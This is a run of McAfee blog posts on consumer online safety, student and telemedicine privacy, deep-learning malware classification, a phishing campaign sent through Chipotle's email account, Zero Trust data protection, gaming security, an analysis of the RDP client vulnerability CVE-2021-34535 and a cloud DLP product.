The good news is that it doesn’t take a whole lot to improve your safety online. With a few straightforward steps, you can protect yourself better than before—and perhaps spare you some of those technology headaches in the process. Let’s take a quick look:
As always, this is “square one” advice when it comes to keeping yourself safe online. Comprehensive security software will do more than protect your stuff. It’ll protect you by making it safer while you use your apps, breeze through some videos, or take care of your finances—practically anything that involves you, your identity, your money, and your data online. And because we do so much of that on our phones, go ahead and add security software on your phone, too. That’ll make you far safer when you’re moving money around online or simply going about your day.
Yup, keeping track of all those passwords is a pain. Resetting them when you forget them is a pain too. And even bigger pain is reusing passwords, getting one account hacked, followed by a bunch of others getting hacked too because they use the same password. It happens. And hackers count on lazy password habits. Going online with strong, unique passwords is a must (even if it’s a bit of a pain), yet using a password manager makes it far easier and far more secure. Typically included with comprehensive security software, it can create and safely store strong, unique passwords for each of your accounts.
What’s lurking behind that link? A sketchy site? A scam looking to steal your personal info? Sometimes it’s tough to know, until you click that link and find out the hard way. A web advisor can identify those bad sites and links for you without clicking. And further, it can block a mistaken click, giving you an extra level of protection. Often available with your security software, you can also get our own McAfee® Web Advisor for free.
By way of an app, a VPN helps keep your personal data safe as you use the internet. More than just protecting your browsing, it further protects you while using apps because of the way it creates a secure connection. Using a VPN is a smart move when using public Wi-Fi because that connection is, well, public, meaning anyone can potentially spy on your activity—potentially lifting passwords, data, and other personal info. A VPN is also a great idea any time you want extra privacy any time, particularly when you’re doing things like banking or shopping online.
It seems like nearly every day some of your apps and devices will prompt you for an update. Take a moment to follow through on those alerts and install them. In a few moments, you’ll be up to date, which often includes security fixes that can improve your level of protection. Also, those alerts are a good time to ask yourself, “Do I really use that app anymore?” If you don’t, just go ahead and delete that app, along with any account or data associated with it. This leaves you with one less target that hackers can zero in on, thus making you that much safer (and with a less cluttered device to boot).
Once you get up and running with these tips, you’ll find that you’re safer than before. Plus, you’ll also find that apps like security software and password managers can take care of a lot of time-consuming tasks for you, practically automatically. Giving you one less thing to worry about.
The post Younger, But Not Savvier: 3 Cybersecurity Threats Plaguing Millennials appeared first on McAfee Blog.
As the new school year gets underway, many students will be returning to the classroom in-person, while others will opt to continue hybrid or remote learning indefinitely. Unfortunately, for families choosing the latter, remote learning could come at the expense of their online privacy.
According to the RAND Corporation’s 2020 research report, one in five U.S. school districts plan to offer online learning even after the pandemic ends. Many school districts are waiting to review the Centers for Disease Control (CDC) latest recommendations. Either way, there’s no better time for a data privacy refresh.
Protecting your child’s privacy while remote learning requires a three-part investment of parents, students, and schools. One of the first steps in that direction is to understand your district’s privacy practices. To do that, ask to take a closer look at its approach to data consent, secondary data use, as well as its data collection and retention practices.
According to The Center for Democracy and Technology, there are five areas where schools may put a child’s privacy at risk.
Using student data to assess needs and launch connectivity and device programs can pose a privacy risk.
Ask: To assess overall digital access, the school collected my child’s data. How will that data be used?
Sharing student data with third parties, such as broadband and device providers, is a common practice that can pose a privacy risk.
Ask: To connect my remote learner, the school shared my child’s data with the provider. Can the school ensure that data will be used by the third-party responsibly? May I view the data use policy?
Schools now have apps that allow teachers to monitor student progress.
Ask: With more teacher access to student devices and desktops, how can the school ensure that my child’s other data is secure?
Ongoing security and device management requirements should be established to avoid viruses and malicious activity.
Ask: What security measures are in place on school-owned devices to protect my child’s content or personal information? Will my child’s activity be tracked?
A lack of digital literacy and security knowledge on the part of students, families and even schools can put a child’s privacy at risk.
Ask: What digital literacy resources or training do you offer teachers, staff, students and families?
One sign your child’s privacy is in good hands is if your school has a solid Data Governance Policy (DGP) that staff, teachers, and students follow. A DGP establishes schools processes and structures for overseeing the school’s approach to management, usability, availability, quality and security of data and technology.
Going a step further, a privacy-aware school will engage students, families, teachers, and administrators (and even third-party providers) about the importance of data use and closing privacy gaps.
Rather than make assumptions, discuss what privacy is with your child. For example, with more time online, consider parental controls to filter risky content. Likewise, talk to your child about how to identify phishing scams and consider investing in security software that scans for malware and untrusted sites.
If your child uses video apps such as Zoom to connect remotely, be sure that personal information—such as birthdate, address, photographs, or a nickname—isn’t accidently visible in the background.
Whether your child uses Zoom, a chat app, website or another EdTech platform for learning, set privacy settings to provide maximum protection. Following the directions under “settings” of any new app are fast and easy.
Under FERPA, the Family Educational Rights and Privacy Act, schools must notify you of your right to opt out of Directory Information at the start of the school year. Don’t opt-out? Schools can share Directory Information about their child with third parties without parental or student consent.
If we could point to a positive consequence of the pandemic, it would be that with the sudden spike in connectivity during quarantine, data privacy concerns became more prevalent than ever—that shift deserves an A+. Moving forward, it’s critical for parents and schools to work together to create practices that protect online privacy for all students—on-site or remote.
The post Back-to-School: Privacy Worries in a Remote Learning World appeared first on McAfee Blog.
We’ve all been there. It’s the middle of the night and you wake up to a sad and sniffly kiddo shuffling into your room. Yup, looks like someone has a temperature. You phone the on-call doctor to make sure it’s nothing serious and then set an alarm so you can make an appointment when the office opens. Yet this time that doctor’s visit could go a little differently. It may not take place in the office at all. You may be offered a chance to see the doctor with a telemedicine visit.
Telemedicine has been in use for some time. For several years now, it’s connected patients to health care services using live video and sometimes special diagnostic tools that pass along information via the internet. Overall, it’s a way of going to the doctor without actually going to the doctor’s office. Historically, it’s done a great job of caring for people who live in remote locations and for people with ongoing conditions that need long-term monitoring.
That all changed last year. Telemedicine visits saw a big spike during the early days of the pandemic, partly to help keep the spread of the virus in check and to protect vulnerable patients. Even though that spike has since tapered off, one study found that about 40 percent of consumers in the U.S. say they’ll use telemedicine moving forward—and our own research from earlier this year put that worldwide figure at nearly 30 percent. Telemedicine seems to be taking root.
While telemedicine leaves many families with more healthcare options, it may leave them with a few more questions about their security as well. After all, our health data is a precious thing. In the U.S., HIPPA privacy standards protect our information and consultations with healthcare professionals. However, online visits add an entirely new dimension to that.
If your health care provider recommends a telemedicine visit for you or your child, it can be both a convenient and safe experience with a little prep on your part. With a few straightforward security measures lined up (some of which you may already have in place), you can make sure that everyone’s private health information will be safe and secure during your virtual visit.
A great first step for a safer telemedicine visit is to protect your devices with comprehensive security software. Like security software protecting you while you manage your finances, file your taxes online, and so forth, it will help protect you while sharing your private health information. Plus, it will give you plenty of other features that can help you manage your passwords, protect your identity, safeguard your privacy in general, and more.
Be sure to protect your tablets and smartphones while you’re at it, even if you’re not using them for telemedicine. With all the shopping and banking we do on those devices, it’s a smart move to protect them in addition to laptops and computers.
Your telemedicine visit may require setting up a new account and password, one that will add to your growing list considering all the banking, social media, and payment apps you probably use. Plus, there are the umpteen other passwords you have for your online shopping accounts, your children’s school records, your taxes, and so on. Don’t give into the temptation of re-using an old password or making a simple one. Hackers count on that, where stealing one password means stealing several—and gaining access to multiple accounts in one blow.
When you set up your account, use a strong, unique password. This may also be a good time to get a handle on all your passwords with a password manager. Also found in comprehensive security software, a password manager can create and securely store strong and unique passwords for you, which can keep you safe and make your day a little easier too.
A VPN, or virtual private network, offers a strong layer of additional protection when you’re transmitting health data or simply having a private conversation about your health with a professional. A VPN creates an encrypted tunnel to keep you and your activity anonymous. In effect, your data is scrambled and hidden to anyone outside your VPN tunnel, thus making your private information difficult to collect.
Like many of the security steps, we’re talking about here, using a VPN offers benefits beyond telemedicine. A VPN is a must when using public Wi-Fi, like at airports and cafes, because it makes a public connection private (and safe from prying eyes). Additionally, it’s also great for use at home when taking care of sensitive business like your banking or finances.
If you’re searching for a telemedicine provider online, keep an eye out for sketchy links and scams. The sad thing with the increased use of telemedicine is that hackers have clued in and are looking for targets. One way you can stay safer is to use a web advisor with your browser that can identify potentially hazardous links and sites. Anti-phishing technologies in your security software can help as well by preventing email-based scams from reaching your inbox in the first place.
Even better than searching online, consider contacting your pediatrician or doctor’s office for a recommendation, as they can point out the best healthcare options for you and your concerns—and let you know if a telemedicine visit is the best course of action for you in the first place. This way, you can get comfortable with what your visit will look like, find out what special apps (if any) are used, and how your care provider will protect your privacy. Also, you can decide which device you will use and where you’ll use it so that you feel at ease during your virtual visit.
A reputable care provider will likely put all this pre-appointment information together for you on their website or “frequently asked questions” (FAQ) page, which will include helpful links and numbers to call if you need help or have questions. For an example of what that could look like, check out the telemedicine page that Virginia Mason/Franciscan Health designed for its patients.
We’ve talked plenty about digital security, yet there’s the old-fashioned issue of physical eavesdropping to think about too. When it’s time for your actual appointment, pick a place in your home where you can assure yourself some privacy. (Of course, don’t go online for your virtual appointment in a public place.) Look for a space where you can’t be overheard by neighbors and passers-by—preferably someplace like your bedroom where you can be comfortable as well. If your child has an appointment, let them know that this is like any other doctor’s visit and help them keep their voice down so they can keep their info private.
With telemedicine becoming more and more of an option for families, it’s just one of the many tools your doctor or pediatrician can use to keep you and your family well. So as always, if you have a health concern, call your doctor or pediatrician’s office for guidance. They’ll know the best path forward.
In the meantime, there are some great resources out there that can help you make the best decision about telehealth if the time comes. One really helpful article from the American Academy of Pediatrics helps parents get up to speed on telemedicine and outlines a few cases where a telemedicine visit might be right for your child.
With the sniffles, fevers, and plenty of, “Mom, I don’t feel so good …” comments that come along with parenthood, it’s nice to know that telemedicine gives us another tool we can use to keep our families well—one that’s ultimately up to you and your doctor to choose if it’s right for your child.
The post 6 Tips for a Safer and Easier Telemedicine Visit appeared first on McAfee Blog.
Co-written by Catherine Huang, Ph.D. and Abhishek Karnik
Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.
Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data.
The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.
For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.
In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.
One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920.
In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.
To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier.
We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually.
To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware families. In some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in time. It’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket.
We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.
We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.
In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.
We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community.
The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blog.
Over the past few years, food delivery apps have made it easy for people to get their favorite cuisines brought to their doorsteps. In 2020, consumers grew more accustomed to the convenience of ordering take-out when dining in at restaurants was no longer an option. But as we look ahead into 2022, this trend is here to stay. According to a new report by ResearchAndMarkets, the global online food delivery services market will grow from $115.07 billion in 2020 to $126.91 billion by the end of 2021.
To get the latest deals and news from their favorite restaurants, many consumers opt in to receiving marketing emails from the dining locations they frequent the most. One such restaurant is the popular fast-food chain Chipotle Mexican Grill, which has added 22.9 million consumers to its loyalty program since launching two years ago. But customers who signed up to receive emails from Chipotle may have more to consider than whether they choose queso or guacamole. According to Bleeping Computer, Chipotle’s email vendor Mailgun was recently breached, which allowed hackers to take over the company’s email marketing efforts and reach out to unsuspecting customers.
Let’s look at how this threat emerged and what consumers can do to help protect themselves from phishing and live a happy and safe digital life online.
Many restaurant chains like Chipotle utilize a third-party vendor to engage with customers who sign up to receive the latest updates. Chipotle uses Mailgun to help send, receive, and track its marketing emails. However, bad actors were able to hack into Chipotle’s Mailgun account, allowing them to send out phishing emails to recipients.
Under the guise of the Chipotle restaurant chain, cybercriminals reportedly sent out at least 120 malicious emails within a three-day period, luring Chipotle customers to malicious links. Most of the emails directed the unsuspecting users to credential-harvesting sites, impersonating services like a Microsoft 365 login page. Some messages even included malware attachments.
Although phishing is by no means a new cyberthreat, criminals have made it more difficult to spot scam messages with their increasingly sophisticated tactics. Most scammers disguise themselves as major corporations or other trustworthy entities to trick you into willingly providing information like your website login credentials or, even worse, your credit card number. But in Chipotle’s case, cybercriminals were able to hack into the company’s legitimate email marketing account, making it more difficult for consumers to spot the scam.
As a consumer, what can you do to sidestep these stealthy tactics and continue to enjoy your life online? Follow these tips to help safeguard your security:
While phishing has been around for years, cybercriminals continuously make these scams more sophisticated in the hopes of tricking even the most seasoned online experts. That’s why it’s important to stay up to date on the latest phishing techniques so you know what to look out for. Doing a quick search on recent phishing scams every once in a while will help you better spot these cyberthreats well before you find them in your inbox.
If you receive an email that appears to be from a business you subscribe to, but they are asking you for personal information, stop and think. Don’t click on anything or take any direct action from the message. Cybercriminals know that consumers tend to let their guard down when they think they are communicating with an entity that they trust, so play it safe and never assume anything. Instead, go straight to the organization’s website. This will prevent you from downloading dangerous content from phishing links or forking over money unnecessarily.
If someone sends you a message with a link, hover over the link without actually clicking on it. This will allow you to see a link preview. If the URL looks suspicious, don’t interact with it and delete the message altogether.
Use a security solution, like McAfee Total Protection, which can help protect devices against malware, phishing attacks, and other threats. It includes McAfee WebAdvisor, which can help identify malicious websites.
Now that you know how to spot phishing emails and what to do if you suspect scammers are targeting you, you’re far less likely to fall for these schemes. Remember to be careful with your personal information when you use the internet and err on the side of caution whenever anybody asks you to divulge sensitive details about your identity, finances, or login information – even if the message appears to be from a business you recognize.
The post Chipotle’s Marketing Account Hacked: Protect Yourself From Phishing Lures appeared first on McAfee Blog.
As outlined in Executive Order on Improving the Nation’s Cybersecurity (EO 14028), Section 3: Modernizing Federal Government Cybersecurity, CISA has been tasked with developing a Federal cloud-security strategy to aid agencies in the adoption of a Zero Trust Architecture to meet the EO Requirements. While the government awaits the completion of that effort, I think it’s important to look at the two government reference architectures that have already been published, as they will undoubtedly be considered in the development of CISA’s cloud-security strategy. Both NIST (800-207) and DoD (Version 1.0) have released Zero Trust reference architectures. Both define a Zero Trust telemetry architecture informed by security sensors to dynamically evaluate device and user trust and automatically change access permissions with changes in entity trust. They each accomplish the same goal, even if they take slightly different paths to get there.
Whereas the DoD architecture establishes control planes that each have their own decision point, with data given its own decision point, NIST takes a broader approach to Zero Trust and emphasizes Zero Trust in relation to all resources, not just data. The data control plane within the DoD architecture encompasses data processing resources and applies data-specific context to them. As most networks, applications, storage and services exist to process and store data, it makes sense that access to these resources should be specific to the data contained within them, and not just the access to the resources themselves. Protecting data is central to Zero Trust, and the DoD’s architecture acknowledges this.
Today, most Zero Trust efforts seem to focus on defending the applications, networks and services that contain the data but fall short of building data specific protections. And while protecting network, application, and service resources is certainly important and essential to layered protections, improving protection around the data is imperative to successfully adopt Zero Trust architecture. People with alarm systems on their homes still lock up valuables in a safe to guard against failures in controls, or less than trustworthy house guests and hired workers.
The DoD puts data at the center of its reference architecture. User and entity trust is assessed in relation to the data being accessed, and permission levels are dynamically changed specific to individual data resources. If Zero Trust operates under the assumption that networks and applications are already compromised, then the only logical way to successfully implement Zero Trust is to combine network, application, and service access technologies with a comprehensive data protection platform. In a well-designed Zero Trust architecture, a comprehensive data protection platform serves not only to protect data, but also as a means to inform the analytics layer of potentially malicious insiders or compromised user accounts in order to automatically trigger changes in access permissions.
Imagine a very simple scenario where an organization has classified specific types of data and implemented controls to protect the data. Jane is a contractor, who, because of her contract function, was vetted and cleared for access to critical applications and controlled unclassified data. Jane has a government-issued laptop with data protection software, and she has access to government cloud applications like Office 365 that are protected and governed by the agencies’ CASB solution. Unfortunately, Jane has been having well disguised and undisclosed financial troubles, which have put her in a compromised situation. In order to try to get herself out of it, she has agreed to act as an insider. Jane initially attempts to send sensitive data to herself through her Office 365 email, but the attempt is blocked by the CASB. She then attempts to share the records from SharePoint to an untrusted email domain and again is blocked by the CASB and reported to security. Desperate, she tries to move the data to an external hard drive, and yet again she is blocked. At this point, Jane gives up and realizes the data is well protected.
On the backend of this scenario, each one of these attempts is logged as an incident and reported. These incidents now inform a Zero Trust dynamic access control layer, which determines that Jane’s trust level has changed, resulting in an automatic change to her user access policies and a Security Operations alert. This is one very basic example of how a data protection platform can inform and affect user trust.
Effectively architecting a comprehensive data protection platform requires a multi-vector and integrated approach. The platform should be a combination of control points that leverage a common classification mechanism and a common incident management workflow. Data protection enforcement should facilitate enforcement controls across managed hosts, networks, SaaS, and IaaS resources, and whenever possible restrict sensitive data from being placed into areas where there are no controls.
McAfee enables this today through a Unified DLP approach that combines:
This comprehensive approach enables data protection policies to follow the data throughout the managed environment, ensuring that enterprise data is protected at rest, in transit, and in use. Within the platform, user trust is evaluated conditionally based on policy at each enforcement point, and any change to a user’s group through the Zero Trust architecture automatically modifies policies within the data protection platform.
Data protection has long been a challenge for every enterprise. Successful implementation of data protection technologies requires a programmatic effort that includes data owners to accurately and successfully identify and build protections around sensitive information. If not implemented properly, data protection opens the door to user disruptions that many organizations have very little tolerance for. That’s why so many organizations focus their efforts on improving perimeter and access protections. Adversaries know this, which is why compromising user credentials or the supply chain to gain access remains a highly leveraged entry point for threat actors, because perimeter and access control protections fail to guard against people already inside the network with appropriate access. As enterprises plan for Zero Trust architectures, data protection has to take center stage.
By mandating that agencies quantify the type and sensitivity of their unclassified data, the EO appears to be steering Executive Branch agencies down the path of data centricity. The Executive Order focuses on improving the adoption of encryption best practices around data and implementing multifactor authentication in an effort to protect access to sensitive data from malicious outsiders. It falls short, however, of encouraging broad adoption of data loss prevention architectures to protect against accidental and malicious data leakage.
CISA has an opportunity to prioritize data as an enterprise’s central resource in their upcoming cloud-security strategy, which will drive agency adoption of Zero Trust Architecture. They should take this opportunity to emphasize the importance of designing a comprehensive data protection platform to serve as both a trust identifier and a mechanism of protection.
The post Data Centric Zero Trust for Federal Government Cybersecurity appeared first on McAfee Blog.
For some, vanquishing aliens, building virtual amusement parks, and online battles royale are an excellent stress reliever. As we all know, over the past year there’s been plenty of stress to relieve and more spare time on our hands in which to revel in our hobbies. There was a 30% jump in online gaming traffic from the first to the second quarter of 2020.
Hackers are taking advantage of highly trafficked online gaming portals to make a profit on the dark web. The next time you log on to your virtual world of choice, consider these recent video game breaches and up your gamer security, which could include an antivirus for gaming.
Between 2019 and 2020, web attacks on gaming companies rocketed up 340%, according to Akamai. Hackers have targeted several high-profile gaming companies recently with various motives. First, game source code was stolen from Electronic Arts to sell on the dark web. Developers shopping the dark web use stolen source codes to reverse-engineer popular games or copy the code into their own game. Capcom and CD Projekt Red were hit by ransomware attacks only a few months apart from each other, one attack focused on company financial information and the other on source code.
“Titan Fall” and “Apex Legends” have both been hacked to the point where the former is unplayable, according to many gamers. To protest “Titanfall’s” developers’ inaction, gamers took to “Apex Legends,” altering in-game messages. The apparent ease with which hackers can walk into online gaming portals requires that game developers and gamers themselves pay more attention to their security.
Online PC gaming allows players to use real-world money to purchase valuable upgrades to their characters. These characters receive admiration from some fellow players. Others feel greed. Advanced characters can fetch a lot of money on the dark web, so some cybercriminals practice credential stuffing to force their way into player accounts and steal ownership. Credential stuffing is a type of brute force attack where hackers take informed guesses at username and password combinations. A strong password or passphrase is essential to keeping your account and investment safe from a dark web fate.
Based on the above recent hacks, it is clear that gaming companies host a trove of valuable information. Gamers trust these platforms with their payment information and with the safety of their gaming characters on which they spend thousands of hours and hundreds of dollars upgrading, making gaming a lucrative target for hackers.
Another way cybercriminals target gamers is through malware disguised as an advantage. Cheat software for online games is common as players strive to be the best out of thousands. Advantage seekers for “Call of Duty: Warzone” were targeted by a malware scam. The malware creators advertised the “cheat software” on YouTube with instructions on how to download it. The video received thousands of views and hundreds of comments, which made it look legitimate.
One of the steps in installing the “cheat software” was that users had to disable antivirus programs and firewalls. Users let the cybercriminals walk right into their device! From there, the device was infected by an aggressive type of fileless malware called a dropper. A dropper doesn’t download a malicious file onto the device; rather, it creates a direct pathway to deliver an additional payload, such as credential-stealing malware.
Competitive gaming is, well, competitive. So, if you invest a lot of real money into your characters, be especially vigilant and follow these five important tips to protect your online accounts.
It’s common for gamers to use variations of their real names and birthdates in their public-facing usernames. Don’t use your real name or birthdate in your username. Consider using a nickname or a combination of random numbers instead. Along this same vein, don’t reveal personal details about yourself (phone number, birthday, places you visit regularly) on chats or streams. Lurking cybercriminals can gather these personal details to impersonate you.
On some online PC games, you can join campaigns with gamers from all over the world. While the interconnectivity is great, carefully vet who you allow to follow your online profile. If a stranger sends a friend request out of the blue, be on alert. They could have nefarious motives, such as phishing for valuable personal data. It’s best to customize your privacy settings to make your profile invisible to strangers.
Developers spend a lot of time creating amazing games, so make sure you purchase games legally and play them as they are intended. Be especially wary of free downloads or pirated versions and cheat software, as they’re likely too good to be true. Instead, go for a challenge and have fun with the game as it’s written.
A virtual private network (VPN) scrambles your online data traffic, making it impossible for hackers to access your IP address and spy on your online browsing.
Gaming antivirus software not only makes your online gaming experience more secure, but it can boost your rig’s performance! McAfee Gamer Security detects threats through the cloud and optimizes resources to minimize frame drops.
The post 5 Online Gaming Tips to Stay Safe From Hackers appeared first on McAfee Blogs.
This month’s Patch Tuesday brings us a relatively small number of CVEs being patched, but an abnormally high percentage of noteworthy critical vulnerabilities.
One such vulnerability is identified as CVE-2021-34535, which is a remote code execution flaw in the Remote Desktop client software, observed in mstscax.dll, which is used by Microsoft’s built-in RDP client (mstsc.exe). The vulnerability is very closely related to a bug released in July of 2020, CVE-2020-1374, which also came through Microsoft’s Patch Tuesday process and had highly similar characteristics. The vulnerability is an integer overflow due to an attacker-controllable payload size field, which ultimately leads to a heap buffer overflow during memory allocation. The vulnerability can be triggered via the RDP Video Redirection Virtual Channel Extension feature [MS-RDPEV], which is typically deployed on port 3389, and is contained inside of compressed UDP payload and encrypted RDP using TLS.
But does this flaw, despite its impressive 9.9 CVSS score, rise to the level of past RDP vulnerabilities, including the infamous BlueKeep (CVE-2019-0708)? Not so fast – there are a few additional factors to take into consideration.
First and foremost, this is a client-side vulnerability, meaning there is no real ability for self-propagation, or “wormability” from an Internet perspective. The most likely attack scenario would be to convince a user to authenticate to a malicious RDP server, where the server could trigger the bug on the client side. During reproduction of the issue, we were able to easily trigger the crash and observe a later memcpy using the controlled overflow, which should facilitate exploitation. We think it is likely that exploits will be developed for this vulnerability but the availability of a patch prior to any known public exploitation helps to mitigate risks for organizations and individuals.
Secondly, thanks to the widespread proliferation and reach of BlueKeep and other related RDP vulnerabilities, a significant portion of RDP clients and servers have been disabled or moved from the network perimeter. This is less important given the client-side nature of the bug but does help with the overall attack surface.
In addition to Microsoft’s built-in RDP client (mstsc.exe), which is the more common Remote Desktop network connection, we have also confirmed that some lesser- known RDP vectors are affected by this vulnerability. Microsoft Hyper-V Manager “Enhanced Session Mode” and Microsoft Defender’s Application Guard (WDAG) both use RDP to screen share and present the secured browser respectively. This gives the end user a remote view of their isolated instance in the context of the host system. Rather than reimplementing the RDP session sharing capability, Microsoft ported the existing RDP client code base into Hyper-V and WDAG. Since the RDP client code is self-contained in mstscax.dll (an ActiveX COM object) it can simply be loaded into the Hyper-V (vmconnect.exe) and WDAG (hvsirdpclient.exe) processes to avail of the RDP client functionality. There does not appear to have been any attack surface reduction on this code base as the same DLL is loaded within all three processes mstsc.exe, vmconnect.exe and hvsirdpclient.exe. The impacted components are:
Mitigation: Patch
Mitigation: Patch or disable “Enhanced Session Mode”
The built-in RDP client and Hyper-V/WDAG clients communicate over different transport mediums in the form of TCP/IP and VMBus but they both use the same RDP client protocol implementation. Given that the flaw is contained within mstscax.dll, and is self-contained, the vulnerability was ported to these two implementations along with the rest of the code base.
While the urgency for patching remains somewhat lower than past critical vulnerabilities, threat actors will look to weaponize any of these low-hanging fruit that leverage common network protocols. Patching should be a top priority, and furthermore, a comprehensive and ongoing review of internet-facing and internal networked RDP clients and servers would be highly recommended. Eliminating or reducing the attack surface is one of the best counter attacks to vulnerability exploitation.
Microsoft have published a Knowledge Base article for the issue here with corresponding patch information. In the meantime, we are continuing to monitor this vulnerability closely; if exploitation is observed we may release additional content for customers.
For RDP security best practices please see https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rdp-security-explained/
With thanks to Cedric Cochin, McAfee.
The post Critical RDP Vulnerabilities Continue to Proliferate appeared first on McAfee Blogs.
We are in the midst of digital transformation to the cloud – these cloud services fuel transformative projects for businesses, empowering employees with powerful tools to do their jobs better and more efficiently. This cloud transformation has meant that a large portion of enterprise data now resides and is being accessed outside of the network perimeter and beyond the reach of traditional data security controls.
MVISION Unified Cloud Edge is the SASE security fabric between an organizations’s workforce and their resources that enables fast direct-to-internet access by eliminating the need to route traffic through their data center for security. Data and threat protection are performed at every control point in a single pass to reduce the cost of security and simplify your management.
Sensitive data uploaded to CRM has also put the service on the radar of IT security teams. Based on the Market share report Microsoft Dynamics 365 is amongst the top CRM vendors
Data in Dynamics 365 represents anything from proprietary business information to sensitive customer data. The high volume and value of this data have made Dynamics 365 security a top priority for companies embarking on cloud security projects.
Microsoft provides a host of security features for enterprise customers at the infrastructure and software level, but customers default lack many controls around data and user account security. For example, only 36 percent of cloud customers say they can enforce data loss prevention in the cloud. These are key security controls for organizations using Dynamics 365, especially those who upload regulated data to the service.
MVISION Cloud for Dynamics 365, part of McAfee’s Unified Cloud Edge offering is a comprehensive solution, which allows enterprises to enforce security controls for data in Dynamics 365. It addresses four areas of Dynamics security:
By applying cloud DLP policy you can find any sensitive info stored in Dynamics entity in near real-time. Configure via UI the entities where you know sensitive content is posted by the user and do near real time DLP. Also, you can integrate your Endpoint DLP engine policy and use the single console of MVISION to leverage the DLP policy defined on Dynamics entities. In addition, before the Auditor finds any sensitive information stored in data at rest, you can run on-demand scans on Dynamics 365 entities/attachments to ensure there is no sensitive data in Dynamics entities. MVISION Cloud Compliance scan applies to entities (structured data) and attachments (unstructured data) in Dynamics. Data privacy can save organizations from massive compliance fines, a negative public image, and loss of customer trust. Dynamics 365 data privacy is just as important as security, MVISION Cloud compliance scan ensures GDPR compliance for data at rest. In all cases whenever out of compliance is found, then raise incidents and takes remedial action for complete visibility. Malware scan to detect malware on any Dynamics 365 attachments if there is Malware. This scan could be Near Real-Time and also could be on data at rest.
MVISION Cloud for Dynamics 365 can act as an additional control point between enterprise users and the cloud to provide enhanced analytics into cloud usage, detect threats from insiders, compromised accounts, and privileged users, enforce compliance policies with DLP, and contextual access controls. Additionally, detecting intentional or inadvertent threats from employees or third parties, enforcing granular access controls based on parameters such as role, device, data, and location, and enforcing DLP policies.
